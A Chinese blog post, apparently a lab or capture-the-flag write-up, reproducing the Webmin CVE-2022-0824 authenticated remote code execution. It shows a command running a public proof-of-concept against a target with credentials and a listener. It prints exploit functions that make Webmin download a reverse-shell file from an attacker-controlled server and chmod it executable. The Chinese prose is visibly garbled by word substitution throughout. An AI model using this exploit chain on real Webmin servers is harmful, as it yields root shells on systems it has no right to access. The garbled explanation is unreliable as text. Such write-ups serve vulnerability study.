目次
一、毛病先容
二、影响版本
三、毛病复现
四、毛病原理
1. 获取Webmin的访问权限
2. 不安全的长途文件下载
3. 更改下载文件的权限
一、毛病先容
Webmin是一套基于Web的用于类Unix操作体系的体系管理工具,提供图形化界面管理工具。毛病源于Webmin的某些功能模块未能准确验证和过滤用户输入,导致攻击者可通过参数注入恶意命令。
二、影响版本
Webmin < 1.990
三、毛病复现
POC:https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
- ┌──(root㉿kali)-[~/POC/Webmin/CVE-2022-0824]
- └─# python3 Webmin-revshell.py -t http://192.168.57.143:8749 -c root:password -LS 192.168.57.128:9090 -L 192.168.57.128 -P 5555
复制代码 (1) -t 目标机器
(2)-c 账号密码
(3)-LS 攻击机提供payload的端口
(4)-L 攻击机
(5)-P 监听端口
乐成getshell
找到flag
四、毛病原理
以下原理的学习参考了 deepseek 以及POC中的代码
主要步骤为:
1. 先通过 session_login.cgi 举行登录,获取Webmin的访问权限
2. 使用http_download.cgi 模块从攻击者控制的服务器下载包罗恶意代码的文件
3. 使用文件管理器中的 chmod.cgi 模块更改下载文件的权限
1. 获取Webmin的访问权限
拥有账号密码,只有用户通过认证后才能举行背面的操作。
2. 不安全的长途文件下载
- def download_remote_url(self):
- download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
- headers = {
- "Accept": "application/json, text/javascript, */*; q=0.01",
- "Accept-Encoding": "gzip, deflate",
- "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
- "X-Requested-With": "XMLHttpRequest",
- "Referer": self.target + "/filemin/?xnavigation=1"
- }
- data = {
- 'link': "http://" + self.py3http_server + "/" + self.fname,
- 'username': '',
- 'password': '',
- 'path': self.upload_path
- }
- r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
- print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
复制代码 /extensions/file-manager/http_download.cgi 接口允许用户通过link参数指定长途文件的URL,并通过path参数指定下载到服务器的路径。这个时间可以在kali上开启http服务,让其下载反弹shell
3. 更改下载文件的权限
- def modify_permission(self):
- modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
- headers = {"Referer": self.target + "/filemin/?xnavigation=1"}
- data = {"name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path}
- r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
- print(f"[+] Modifying permission of {self.fname} to 0755")
复制代码 chmod.cgi 未检查用户是否拥有修改目标文件权限的正当权利。Webmin默认以root权限执行,导致攻击者可通过修改文件权限执行恣意代码;然后,放置在Webmin目次下的CGI文件会被主动解析执行。
使用wireshark抓包可以更清晰地看到这个过程:
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |